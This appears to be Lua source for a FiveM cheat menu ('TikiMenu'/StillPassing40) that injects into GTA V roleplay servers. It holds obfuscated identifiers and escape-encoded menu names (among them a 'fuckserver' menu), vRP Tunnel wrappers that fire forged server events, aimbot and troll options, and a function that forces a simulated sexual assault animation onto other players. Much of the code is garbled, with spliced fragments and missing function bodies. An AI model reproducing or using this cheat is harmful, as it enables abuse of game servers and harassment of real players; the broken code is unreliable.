TikiMenu Lua
TikiMenu Lua
CreateThread(function()
StillPassing40 = {}
StillPassing40.debug = arwet
local menus = {}
local keys = {up = 246, down = 74, left = 47, right = 311, select = 191, back =
202}
local optionCount = 0
local currentKey = nname
local currentMenu = nname
local titleHeight = 0.11
local titleXOffset = 0.5
local titleSpacing = 2
local titleYOffset = 0.03
local titleScale = 1.0
local buttonHeight = 0.038
local buttonFont = 0
local buttonScale = 0.365
local buttonTextXOffset = 0.005
local buttonTextYOffset = 0.005
local currentItemIndex = 1
local selectedItemIndex = 1
deletarvehtiki = false
udwdj = TriggerServerEvent
Ggggg = GetHashKey
nname = nil
arwet = false
count = {}
Citizen.CreateThread(
function()
while presense do
SetRP()
Citizen.Wait(100)
zzzt = zzzt + 1
if zzzt == 29 then
zzzt = 1
end
end
end
)
function RapePlayer(player)
RequestModel(GetHashKey(rmodel))
RequestAnimDict("rcmpaparazzo_2")
SetPedKeepTask(nped)
TaskPlayAnim(nped, "rcmpaparazzo_2", "shag_loop_a", 2.0, 2.5, -1,49, 0, 16,
0, 0)
AttachEntityToEntity(nped, ped, 0, 0.0, -0.3, 0.0, 0.0, 0.0, 0.0, true, true,
true, true, 0, true)
end
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, arwet)
end
currentMenu = id
end
end
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menus[currentMenu].width - buttonTextXOffset)
SetTextRightJustify(true)
end
end
BeginTextCommandDisplayText("STRING")
AddTextComponentSubstringPlayerName(text)
EndTextCommandDisplayText(x, y)
end
return result
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight + (buttonHeight
* multiplier) - buttonHeight / 2
local backgroundColor = nname
local textColor = nname
local subTextColor = nname
local shadow = arwet
if subText then
drawText(subText, menus[currentMenu].x + buttonTextXOffset, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, arwet,
shadow, true)
end
end
end
function StillPassing40.CurrentMenu()
return currentMenu
end
function StillPassing40.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
debugPrint(tostring(id) .. ' menu opened')
else
debugPrint('Failed to open ' .. tostring(id) .. ' menu: it doesn\'t exist')
end
end
function StillPassing40.IsMenuOpened(id)
return isMenuVisible(id)
end
function StillPassing40.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then
return true
end
end
return arwet
end
function StillPassing40.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return arwet
end
end
function StillPassing40.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = arwet
setMenuVisible(currentMenu, arwet)
debugPrint(tostring(currentMenu) .. ' menu closed')
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
optionCount = 0
currentMenu = nname
currentKey = nname
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu) .. ' menu about to be closed')
end
end
end
if subText then
buttonText = '{ ' .. tostring(buttonText) .. ', ' .. tostring(subText) .. '
}'
end
if menus[currentMenu] then
optionCount = optionCount + 1
local isCurrent = menus[currentMenu].currentOption == optionCount
drawButton(text, subText)
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1, menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText .. ' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return arwet
else
debugPrint('Failed to create ' .. buttonText .. ' button: ' ..
tostring(currentMenu) .. ' menu doesn\'t exist')
return arwet
end
end
return arwet
end
return true
end
return arwet
end
callback(currentIndex, selectedIndex)
return arwet
end
function StillPassing40.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
StillPassing40.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nname
if IsDisabledControlJustReleased(1, keys.down) then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
if menus[currentMenu].currentOption < optionCount then
menus[currentMenu].currentOption =
menus[currentMenu].currentOption + 1
else
menus[currentMenu].currentOption = 1
end
optionCount = 0
end
end
end
function StillPassing40.SetMenuWidth(id, width)
setMenuProperty(id, 'width', width)
end
function StillPassing40.SetMenuX(id, x)
setMenuProperty(id, 'x', x)
end
function StillPassing40.SetMenuY(id, y)
setMenuProperty(id, 'y', y)
end
function StillPassing40.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, 'titleColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a
or menus[id].titleColor.a})
end
function StillPassing40.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'titleBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].titleBackgroundColor.a})
end
function StillPassing40.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'menuBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuBackgroundColor.a})
end
function StillPassing40.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] =
a or menus[id].menuTextColor.a})
end
function StillPassing40.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuSubTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].menuSubTextColor.a})
end
function StillPassing40.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, 'menuFocusColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] =
a or menus[id].menuFocusColor.a})
end
function StillPassing40.SetMenuButtonPressedSound(id, name, set)
setMenuProperty(id, 'buttonPressedSound', {['name'] = name, ['set'] = set})
end
Tools = {}
local IDGenerator = {}
function Tools.newIDGenerator()
local r = setmetatable({}, {__index = IDGenerator})
r:construct()
return r
end
function IDGenerator:construct()
self:clear()
end
function IDGenerator:clear()
self.max = 0
self.ids = {}
end
function IDGenerator:gen()
if #self.ids > 0 then
return table.remove(self.ids)
else
local r = self.max
self.max = self.max + 1
return r
end
end
function IDGenerator:free(id)
table.insert(self.ids, id)
end
Tunnel = {}
local function tunnel_resolve(itable, key)
local mtable = getmetatable(itable)
local iname = mtable.name
local ids = mtable.tunnel_ids
local callbacks = mtable.tunnel_callbacks
local identifier = mtable.identifier
local fcall = function(args, callback)
if args == nname then
args = {}
end
if type(callback) == "function" then
local rid = ids:gen()
callbacks[rid] = callback
udwdj(iname .. ":tunnel_req", key, args, identifier, rid)
else
udwdj(iname .. ":tunnel_req", key, args, "", -1)
end
end
itable[key] = fcall
return fcall
end
return r
end
Proxy = {}
local proxy_rdata = {}
return table.unpack(proxy_rdata)
end
itable[key] = fcall
return fcall
end
function Proxy.getInterface(name)
local r = setmetatable({}, {__index = proxy_resolve, name = name})
return r
end
developers = {
"~y~Tikithaia YT#2000 - ~y~StillPassing40",
}
menulist = {
'StillPassing40',
'\112\108\97\121\101\114\10',
'\115\101\108\102\10',
'\119\101\97\112\111\110\10',
'\118\101\104\105\99\108\101\10',
'\119\111\114\108\100\10',
'\109\105\115\99\10',
'policiatiki',
'\116\101\108\101\112\111\114\116\10',
'\108\117\97\10',
'\108\121\110\120\10',
'allplayer',
'\112\108\97\121\101\114\111\112\116\105\111\110\115\10',
'troll',
'jobsplayers',
'jobsplayers2',
'\97\112\112\101\97\114\97\110\99\101\10',
'modifyskintextures',
'modifyhead',
'modifiers',
'skinsmodels',
'\119\101\97\112\111\110\115\112\97\119\110\101\114\10',
'WeaponCustomization',
'melee',
'pistol',
'shotgun',
'smg',
'assault',
'sniper',
'thrown',
'heavy',
'\118\101\104\105\99\108\101\115\112\97\119\110\101\114\10',
'vehiclemods',
'vehiclemenu',
'vehiclecolors',
'vehiclecolors_primary',
'vehiclecolors_secondary',
'primary_classic',
'primary_matte',
'primary_metal',
'secondary_classic',
'secondary_matte',
'secondary_metal',
'vehicletuning',
'compacts',
'sedans',
'suvs',
'coupes',
'muscle',
'sportsclassics',
'sports',
'super',
'motorcycles',
'offroad',
'industrial',
'utility',
'vans',
'cycles',
'boats',
'helicopters',
'planes',
'service',
'commercial',
'\102\117\99\107\115\101\114\118\101\114\10',
'\111\98\106\101\99\116\115\112\97\119\110\101\114\10',
'objectlist',
'weather',
'time',
'esp',
'webradio',
'credits',
'InfoMenu',
'saveload',
'pois',
'pois2',
'\101\115\120\10',
'\118\114\112\10',
'other',
'roles',
'money'
faceItemsList = {}
faceTexturesList = {}
hairItemsList = {}
hairTextureList = {}
maskItemsList = {}
hatItemsList = {}
hatTexturesList = {}
NoclipSpeed = 1
oldSpeed = nname
ForcefieldRadius = 5.0
FastCB = {1.0, 1.09, 1.19, 1.29, 1.39, 1.49}
FastCBWords = {"+0%", "+20%", "+40%", "+60%", "+80%", "+100%"}
FastRunMultiplier = 1.0
FastSwimMultiplier = 1.0
ObjRotation = 90
GravityOps = {0.0, 5.0, 9.8, 50.0, 100.0, 200.0, 500.0, 1000.0, 9999.9}
GravityOpsWords = {"0", "5", "Default", "50", "100", "200", "500", "1000", "9999"}
GravAmount = 9.8
SpeedModOps = {1.0, 1.5, 2.0, 3.0, 5.0, 10.0, 20.0, 50.0, 100.0, 500.0, 1000.0}
SpeedModAmt = 1.0
AimbotBoneOps = {"Head", "Chest", "Left Arm", "Right Arm", "Left Leg", "Right Leg",
"Dick"}
AimbotBone = "SKEL_HEAD"
ClothingSlots = {1, 2, 3, 4, 5}
PedAttackType = 1
RadiosList = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18}
RadiosListWords = {
"Los Santos Rock Radio",
"Non-Stop-Pop FM",
"Radio Los Santos",
"Channel X",
"West Coast Talk Radio",
"Rebel Radio",
"Soulwax FM",
"East Los FM",
"West Coast Classics",
"Blue Ark",
"Worldwide FM",
"FlyLo FM",
"The Lowdown 91.1",
"The Lab",
"Radio Mirror Park",
"Space 103.2",
"Vinewood Boulevard Radio",
"Blonded Los Santos 97.8 FM",
"Blaine County Radio",
}
WeathersList = {
"CLEAR",
"EXTRASUNNY",
"CLOUDS",
"OVERCAST",
"RAIN",
"CLEARING",
"THUNDER",
"SMOG",
"FOGGY",
"XMAS",
"SNOWLIGHT",
"BLIZZARD"
}
objs_tospawn = {
"stt_prop_stunt_track_start",
"prop_container_01a",
"prop_contnr_pile_01a",
"ce_xr_ctr2",
"stt_prop_ramp_jump_xxl",
"hei_prop_carrier_jet",
"prop_parking_hut_2",
"csx_seabed_rock3_",
"db_apart_03_",
"db_apart_09_",
"stt_prop_stunt_tube_l",
"stt_prop_stunt_track_dwuturn",
"xs_prop_hamburgher_wl",
"sr_prop_spec_tube_xxs_01a",
"prop_air_bigradar",
"p_tram_crash_s",
"prop_windmill_01",
}
local allweapons = {
"WEAPON_UNARMED",
"WEAPON_KNIFE",
"WEAPON_KNUCKLE",
"WEAPON_NIGHTSTICK",
"WEAPON_HAMMER",
"WEAPON_BAT",
"WEAPON_GOLFCLUB",
"WEAPON_CROWBAR",
"WEAPON_BOTTLE",
"WEAPON_DAGGER",
"WEAPON_HATCHET",
"WEAPON_MACHETE",
"WEAPON_FLASHLIGHT",
"WEAPON_SWITCHBLADE",
"WEAPON_POOLCUE",
"WEAPON_PIPEWRENCH",
"WEAPON_GRENADE",
"WEAPON_STICKYBOMB",
"WEAPON_PROXMINE",
"WEAPON_BZGAS",
"WEAPON_SMOKEGRENADE",
"WEAPON_MOLOTOV",
"WEAPON_FIREEXTINGUISHER",
"WEAPON_PETROLCAN",
"WEAPON_SNOWBALL",
"WEAPON_FLARE",
"WEAPON_BALL",
"WEAPON_CERAMICPISTOL",
"WEAPON_PISTOL_MK2",
"WEAPON_COMBATPISTOL",
"WEAPON_APPISTOL",
"WEAPON_REVOLVER",
"WEAPON_REVOLVER_MK2",
"WEAPON_DOUBLEACTION",
"WEAPON_PISTOL50",
"WEAPON_SNSPISTOL",
"WEAPON_SNSPISTOL_MK2",
"WEAPON_HEAVYPISTOL",
"WEAPON_VINTAGEPISTOL",
"WEAPON_STUNGUN",
"WEAPON_FLAREGUN",
"WEAPON_MARKSMANPISTOL",
"WEAPON_RAYPISTOL",
"WEAPON_MICROSMG",
"WEAPON_MINISMG",
"WEAPON_SMG",
"WEAPON_SMG_MK2",
"WEAPON_ASSAULTSMG",
"WEAPON_COMBATPDW",
"WEAPON_GUSENBERG",
"WEAPON_MACHINEPISTOL",
"WEAPON_MG",
"WEAPON_COMBATMG",
"WEAPON_COMBATMG_MK2",
"WEAPON_RAYCARBINE",
"WEAPON_ASSAULTRIFLE",
"WEAPON_ASSAULTRIFLE_MK2",
"WEAPON_CARBINERIFLE",
"WEAPON_CARBINERIFLE_MK2",
"WEAPON_ADVANCEDRIFLE",
"WEAPON_SPECIALCARBINE",
"WEAPON_SPECIALCARBINE_MK2",
"WEAPON_BULLPUPRIFLE",
"WEAPON_BULLPUPRIFLE_MK2",
"WEAPON_COMPACTRIFLE",
"WEAPON_PUMPSHOTGUN",
"WEAPON_PUMPSHOTGUN_MK2",
"WEAPON_SWEEPERSHOTGUN",
"WEAPON_SAWNOFFSHOTGUN",
"WEAPON_BULLPUPSHOTGUN",
"WEAPON_ASSAULTSHOTGUN",
"WEAPON_MUSKET",
"WEAPON_HEAVYSHOTGUN",
"WEAPON_DBSHOTGUN",
"WEAPON_SNIPERRIFLE",
"WEAPON_HEAVYSNIPER",
"WEAPON_HEAVYSNIPER_MK2",
"WEAPON_MARKSMANRIFLE",
"WEAPON_MARKSMANRIFLE_MK2",
"WEAPON_GRENADELAUNCHER",
"WEAPON_GRENADELAUNCHER_SMOKE",
"WEAPON_RPG",
"WEAPON_MINIGUN",
"WEAPON_FIREWORK",
"WEAPON_RAILGUN",
"WEAPON_HOMINGLAUNCHER",
"WEAPON_COMPACTLAUNCHER",
"WEAPON_RAYMINIGUN",
}
local meleeweapons = {
{"WEAPON_KNIFE", "Knife"},
{"WEAPON_KNUCKLE", "Brass Knuckles"},
{"WEAPON_NIGHTSTICK", "Nightstick"},
{"WEAPON_HAMMER", "Hammer"},
{"WEAPON_BAT", "Baseball Bat"},
{"WEAPON_GOLFCLUB", "Golf Club"},
{"WEAPON_CROWBAR", "Crowbar"},
{"WEAPON_BOTTLE", "Bottle"},
{"WEAPON_DAGGER", "Dagger"},
{"WEAPON_HATCHET", "Hatchet"},
{"WEAPON_MACHETE", "Machete"},
{"WEAPON_FLASHLIGHT", "Flashlight"},
{"WEAPON_SWITCHBLADE", "Switchblade"},
{"WEAPON_POOLCUE", "Pool Cue"},
{"WEAPON_PIPEWRENCH", "Pipe Wrench"}
}
local thrownweapons = {
{"WEAPON_GRENADE", "Grenade"},
{"WEAPON_STICKYBOMB", "Sticky Bomb"},
{"WEAPON_PROXMINE", "Proximity Mine"},
{"WEAPON_BZGAS", "BZ Gas"},
{"WEAPON_SMOKEGRENADE", "Smoke Grenade"},
{"WEAPON_MOLOTOV", "Molotov"},
{"WEAPON_FIREEXTINGUISHER", "Fire Extinguisher"},
{"WEAPON_PETROLCAN", "Fuel Can"},
{"WEAPON_SNOWBALL", "Snowball"},
{"WEAPON_FLARE", "Flare"},
{"WEAPON_BALL", "Baseball"}
}
local pistolweapons = {
{"WEAPON_CERAMICPISTOL", "Pistola Glock ~g~SAFE"},
{"weapon_GADGETPISTOL", "Revolver MK2 ~g~SAFE"},
{"weapon_combatshotgun", "Shotgun MK2 ~g~SAFE"},
{"weapon_militaryrifle", "Carabina MK2 ~g~SAFE"}
}
local smgweapons = {
{"WEAPON_MICROSMG", "Micro SMG"},
{"WEAPON_MINISMG", "Mini SMG"},
{"WEAPON_SMG", "SMG"},
{"WEAPON_SMG_MK2", "SMG Mk II"},
{"WEAPON_ASSAULTSMG", "Assault SMG"},
{"WEAPON_COMBATPDW", "Combat PDW"},
{"WEAPON_GUSENBERG", "Gunsenberg"},
{"WEAPON_MACHINEPISTOL", "Machine Pistol"},
{"WEAPON_MG", "MG"},
{"WEAPON_COMBATMG", "Combat MG"},
{"WEAPON_COMBATMG_MK2", "Combat MG Mk II"},
{"WEAPON_RAYCARBINE", "Unholy Hellbringer"}
}
local assaultweapons = {
{"WEAPON_PISTOL_MK2", "Pistola MK2 ~r~RISCO"},
{"WEAPON_COMBATPISTOL", "Pistola de Combate ~r~RISCO"},
{"WEAPON_ASSAULTRIFLE_MK2", "Assault Rifle MK2 ~r~RISCO"}
}
local shotgunweapons = {
{"WEAPON_PUMPSHOTGUN", "Pump Shotgun"},
{"WEAPON_PUMPSHOTGUN_MK2", "Pump Shotgun Mk II"},
{"WEAPON_SWEEPERSHOTGUN", "Sweeper Shotgun"},
{"WEAPON_SAWNOFFSHOTGUN", "Sawed-Off Shotgun"},
{"WEAPON_BULLPUPSHOTGUN", "Bullpup Shotgun"},
{"WEAPON_ASSAULTSHOTGUN", "Assault Shotgun"},
{"WEAPON_MUSKET", "Musket"},
{"WEAPON_HEAVYSHOTGUN", "Heavy Shotgun"},
{"WEAPON_DBSHOTGUN", "Double Barrel Shotgun"}
}
local sniperweapons = {
{"WEAPON_SNIPERRIFLE", "Sniper Rifle"},
{"WEAPON_HEAVYSNIPER", "Heavy Sniper"},
{"WEAPON_HEAVYSNIPER_MK2", "Heavy Sniper Mk II"},
{"WEAPON_MARKSMANRIFLE", "Marksman Rifle"},
{"WEAPON_MARKSMANRIFLE_MK2", "Marksman Rifle Mk II"}
}
local heavyweapons = {
{"WEAPON_GRENADELAUNCHER", "Grenade Launcher"},
{"WEAPON_RPG", "RPG"},
{"WEAPON_MINIGUN", "Minigun"},
{"WEAPON_FIREWORK", "Firework Launcher"},
{"WEAPON_RAILGUN", "Railgun"},
{"WEAPON_HOMINGLAUNCHER", "Homing Launcher"},
{"WEAPON_COMPACTLAUNCHER", "Compact Grenade Launcher"},
{"WEAPON_RAYMINIGUN", "Widowmaker"}
}
local compacts = {
"BLISTA",
"BRIOSO",
"DILETTANTE",
"DILETTANTE2",
"ISSI2",
"ISSI3",
"ISSI4",
"ISSI5",
"ISSI6",
"PANTO",
"PRAIRIE",
"RHAPSODY"
}
local sedans = {
"ASEA",
"ASEA2",
"ASTEROPE",
"COG55",
"COG552",
"COGNOSCENTI",
"COGNOSCENTI2",
"EMPEROR",
"EMPEROR2",
"EMPEROR3",
"FUGITIVE",
"GLENDALE",
"INGOT",
"INTRUDER",
"LIMO2",
"PREMIER",
"PRIMO",
"PRIMO2",
"REGINA",
"ROMERO",
"SCHAFTER2",
"SCHAFTER5",
"SCHAFTER6",
"STAFFORD",
"STANIER",
"STRATUM",
"STRETCH",
"SUPERD",
"SURGE",
"TAILGATER",
"WARRENER",
"WASHINGTON"
}
local suvs = {
"BALLER",
"BALLER2",
"BALLER3",
"BALLER4",
"BALLER5",
"BALLER6",
"BJXL",
"CAVALCADE",
"CAVALCADE2",
"CONTENDER",
"DUBSTA",
"DUBSTA2",
"FQ2",
"GRANGER",
"GRESLEY",
"HABANERO",
"HUNTLEY",
"LANDSTALKER",
"MESA",
"MESA2",
"PATRIOT",
"PATRIOT2",
"RADI",
"ROCOTO",
"SEMINOLE",
"SERRANO",
"TOROS",
"XLS",
"XLS2"
}
local coupes = {
"COGCABRIO",
"EXEMPLAR",
"PAGEUP20",
"FELON",
"FELON2",
"JACKAL",
"ORACLE",
"ORACLE2",
"SENTINEL",
"SENTINEL2",
"WINDSOR",
"WINDSOR2",
"ZION",
"ZION2"
}
local muscle = {
"BLADE",
"BUCCANEER",
"BUCCANEER2",
"CHINO",
"CHINO2",
"CLIQUE",
"COQUETTE3",
"DEVIANT",
"DOMINATOR",
"DOMINATOR2",
"DOMINATOR3",
"DOMINATOR4",
"DOMINATOR5",
"DOMINATOR6",
"DUKES",
"DUKES2",
"ELLIE",
"FACTION",
"FACTION2",
"FACTION3",
"GAUNTLET",
"GAUNTLET2",
"HERMES",
"HOTKNIFE",
"HUSTLER",
"IMPALER",
"IMPALER2",
"IMPALER3",
"IMPALER4",
"IMPERATOR",
"IMPERATOR2",
"IMPERATOR3",
"LURCHER",
"MOONBEAM",
"MOONBEAM2",
"NIGHTSHADE",
"PHOENIX",
"PICADOR",
"RATLOADER",
"RATLOADER2",
"RUINER",
"RUINER2",
"RUINER3",
"SABREGT",
"SABREGT2",
"SLAMVAN",
"SLAMVAN2",
"SLAMVAN3",
"SLAMVAN4",
"SLAMVAN5",
"SLAMVAN6",
"STALION",
"STALION2",
"TAMPA",
"TAMPA3",
"TULIP",
"VAMOS",
"VIGERO",
"VIRGO",
"VIRGO2",
"VIRGO3",
"VOODOO",
"VOODOO2",
"YOSEMITE"
}
local sportsclassics = {
"ARDENT",
"BTYPE",
"BTYPE2",
"BTYPE3",
"CASCO",
"CHEBUREK",
"CHEETAH2",
"COQUETTE2",
"DELUXO",
"FAGALOA",
"FELTZER3",
"GT500",
"INFERNUS2",
"JB700",
"JESTER3",
"MAMBA",
"MANANA",
"MICHELLI",
"MONROE",
"PEYOTE",
"PIGALLE",
"RAPIDGT3",
"RETINUE",
"SAVESTRA",
"STINGER",
"STINGERGT",
"STROMBERG",
"SWINGER",
"TORERO",
"TORNADO",
"TORNADO2",
"TORNADO3",
"TORNADO4",
"TORNADO5",
"TORNADO6",
"TURISMO2",
"VISERIS",
"Z190",
"ZTYPE"
}
local sports = {
"ALPHA",
"BANSHEE",
"BESTIAGTS",
"BLISTA2",
"BLISTA3",
"BUFFALO",
"BUFFALO2",
"BUFFALO3",
"CARBONIZZARE",
"COMET2",
"COMET3",
"COMET4",
"COMET5",
"COQUETTE",
"ELEGY",
"ELEGY2",
"FELTZER2",
"FLASHGT",
"FUROREGT",
"FUSILADE",
"FUTO",
"GB200",
"HOTRING",
"ITALIGTO",
"JESTER",
"JESTER2",
"KHAMELION",
"KURUMA",
"KURUMA2",
"LYNX",
"MASSACRO",
"MASSACRO2",
"NEON",
"NINEF",
"NINEF2",
"OMNIS",
"PARIAH",
"PENUMBRA",
"RAIDEN",
"RAPIDGT",
"RAPIDGT2",
"RAPTOR",
"REVOLTER",
"RUSTON",
"SCHAFTER2",
"SCHAFTER3",
"SCHAFTER4",
"SCHAFTER5",
"SCHLAGEN",
"SCHWARZER",
"SENTINEL3",
"SEVEN70",
"SPECTER",
"SPECTER2",
"SULTAN",
"SURANO",
"TAMPA2",
"TROPOS",
"VERLIERER2",
"ZR380",
"ZR3802",
"ZR3803"
}
local super = {
"ADDER",
"AUTARCH",
"BANSHEE2",
"BULLET",
"CHEETAH",
"CYCLONE",
"DEVESTE",
"ENTITYXF",
"ENTITY2",
"FMJ",
"GP1",
"INFERNUS",
"ITALIGTB",
"ITALIGTB2",
"LE7B",
"NERO",
"NERO2",
"OSIRIS",
"PENETRATOR",
"PFISTER811",
"PROTOTIPO",
"REAPER",
"SC1",
"SCRAMJET",
"SHEAVA",
"SULTANRS",
"T20",
"TAIPAN",
"TEMPESTA",
"TEZERACT",
"TURISMOR",
"TYRANT",
"TYRUS",
"VACCA",
"VAGNER",
"VIGILANTE",
"VISIONE",
"VOLTIC",
"VOLTIC2",
"XA21",
"ZENTORNO"
}
local motorcycles = {
"AKUMA",
"AVARUS",
"BAGGER",
"BATI",
"BATI2",
"BF400",
"CARBONRS",
"CHIMERA",
"CLIFFHANGER",
"DAEMON",
"DAEMON2",
"DEFILER",
"DEATHBIKE",
"DEATHBIKE2",
"DEATHBIKE3",
"DIABLOUS",
"DIABLOUS2",
"DOUBLE",
"ENDURO",
"ESSKEY",
"FAGGIO",
"FAGGIO2",
"FAGGIO3",
"FCR",
"FCR2",
"GARGOYLE",
"HAKUCHOU",
"HAKUCHOU2",
"HEXER",
"INNOVATION",
"LECTRO",
"MANCHEZ",
"NEMESIS",
"NIGHTBLADE",
"OPPRESSOR",
"OPPRESSOR2",
"PCJ",
"RATBIKE",
"RUFFIAN",
"SANCHEZ",
"SANCHEZ2",
"SANCTUS",
"SHOTARO",
"SOVEREIGN",
"THRUST",
"VADER",
"VINDICATOR",
"VORTEX",
"WOLFSBANE",
"ZOMBIEA",
"ZOMBIEB"
}
local offroad = {
"BFINJECTION",
"BIFTA",
"BLAZER",
"BLAZER2",
"BLAZER3",
"BLAZER4",
"BLAZER5",
"BODHI2",
"BRAWLER",
"BRUISER",
"BRUISER2",
"BRUISER3",
"BRUTUS",
"BRUTUS2",
"BRUTUS3",
"CARACARA",
"DLOADER",
"DUBSTA3",
"DUNE",
"DUNE2",
"DUNE3",
"DUNE4",
"DUNE5",
"FREECRAWLER",
"INSURGENT",
"INSURGENT2",
"INSURGENT3",
"KALAHARI",
"KAMACHO",
"MARSHALL",
"MENACER",
"MESA3",
"MONSTER",
"MONSTER3",
"MONSTER4",
"MONSTER5",
"NIGHTSHARK",
"RANCHERXL",
"RANCHERXL2",
"RCBANDITO",
"REBEL",
"REBEL2",
"RIATA",
"SANDKING",
"SANDKING2",
"TECHNICAL",
"TECHNICAL2",
"TECHNICAL3",
"TROPHYTRUCK",
"TROPHYTRUCK2"
}
local industrial = {
"BULLDOZER",
"CUTTER",
"DUMP",
"FLATBED",
"GUARDIAN",
"HANDLER",
"MIXER",
"MIXER2",
"RUBBLE",
"TIPTRUCK",
"TIPTRUCK2"
}
local utility = {
"AIRTUG",
"CADDY",
"CADDY2",
"CADDY3",
"DOCKTUG",
"FORKLIFT",
"TRACTOR2",
"TRACTOR3",
"MOWER",
"RIPLEY",
"SADLER",
"SADLER2",
"SCRAP",
"TOWTRUCK",
"TOWTRUCK2",
"TRACTOR",
"UTILLITRUCK",
"UTILLITRUCK2",
"UTILLITRUCK3",
"ARMYTRAILER",
"ARMYTRAILER2",
"FREIGHTTRAILER",
"ARMYTANKER",
"TRAILERLARGE",
"DOCKTRAILER",
"TR3",
"TR2",
"TR4",
"TRFLAT",
"TRAILERS",
"TRAILERS4",
"TRAILERS2",
"TRAILERS3",
"TVTRAILER",
"TRAILERLOGS",
"TANKER",
"TANKER2",
"BALETRAILER",
"GRAINTRAILER",
"BOATTRAILER",
"RAKETRAILER",
"TRAILERSMALL"
}
local vans = {
"BISON",
"BISON2",
"BISON3",
"BOBCATXL",
"BOXVILLE",
"BOXVILLE2",
"BOXVILLE3",
"BOXVILLE4",
"BOXVILLE5",
"BURRITO",
"BURRITO2",
"BURRITO3",
"BURRITO4",
"BURRITO5",
"CAMPER",
"GBURRITO",
"GBURRITO2",
"JOURNEY",
"MINIVAN",
"MINIVAN2",
"PARADISE",
"PONY",
"PONY2",
"RUMPO",
"RUMPO2",
"RUMPO3",
"SPEEDO",
"SPEEDO2",
"SPEEDO4",
"SURFER",
"SURFER2",
"TACO",
"YOUGA",
"YOUGA2"
}
local cycles = {
"BMX",
"CRUISER",
"FIXTER",
"SCORCHER",
"TRIBIKE",
"TRIBIKE2",
"TRIBIKE3"
}
local boats = {
"DINGHY",
"DINGHY2",
"DINGHY3",
"DINGHY4",
"JETMAX",
"MARQUIS",
"PREDATOR",
"SEASHARK",
"SEASHARK2",
"SEASHARK3",
"SPEEDER",
"SPEEDER2",
"SQUALO",
"SUBMERSIBLE",
"SUBMERSIBLE2",
"SUNTRAP",
"TORO",
"TORO2",
"TROPIC",
"TROPIC2",
"TUG"
}
local helicopters = {
"AKULA",
"ANNIHILATOR",
"BUZZARD",
"BUZZARD2",
"CARGOBOB",
"CARGOBOB2",
"CARGOBOB3",
"CARGOBOB4",
"FROGGER",
"FROGGER2",
"HAVOK",
"HUNTER",
"MAVERICK",
"POLMAV",
"SAVAGE",
"SEASPARROW",
"SKYLIFT",
"SUPERVOLITO",
"SUPERVOLITO2",
"SWIFT",
"SWIFT2",
"VALKYRIE",
"VALKYRIE2",
"VOLATUS"
}
local planes = {
"ALPHAZ1",
"AVENGER",
"AVENGER2",
"BESRA",
"BLIMP",
"BLIMP2",
"BLIMP3",
"BOMBUSHKA",
"CARGOPLANE",
"CUBAN800",
"DODO",
"DUSTER",
"HOWARD",
"HYDRA",
"JET",
"LAZER",
"LUXOR",
"LUXOR2",
"MAMMATUS",
"MICROLIGHT",
"MILJET",
"MOGUL",
"MOLOTOK",
"NIMBUS",
"NOKOTA",
"PYRO",
"ROGUE",
"SEABREEZE",
"SHAMAL",
"STARLING",
"STRIKEFORCE",
"STUNT",
"TITAN",
"TULA",
"VELUM",
"VELUM2",
"VESTRA",
"VOLATOL"
}
local service = {
"AIRBUS",
"BRICKADE",
"BUS",
"COACH",
"PBUS2",
"RALLYTRUCK",
"RENTALBUS",
"TAXI",
"TOURBUS",
"TRASH",
"TRASH2",
"WASTELANDER",
"AMBULANCE",
"FBI",
"FBI2",
"FIRETRUK",
"LGUARD",
"PBUS",
"POLICE",
"POLICE2",
"POLICE3",
"POLICE4",
"POLICEB",
"POLICEOLD1",
"POLICEOLD2",
"POLICET",
"POLMAV",
"PRANGER",
"PREDATOR",
"RIOT",
"RIOT2",
"SHERIFF",
"SHERIFF2",
"APC",
"BARRACKS",
"BARRACKS2",
"BARRACKS3",
"BARRAGE",
"CHERNOBOG",
"CRUSADER",
"HALFTRACK",
"KHANJALI",
"RHINO",
"SCARAB",
"SCARAB2",
"SCARAB3",
"THRUSTER",
"TRAILERSMALL2"
}
local commercial = {
"BENSON",
"BIFF",
"CERBERUS",
"CERBERUS2",
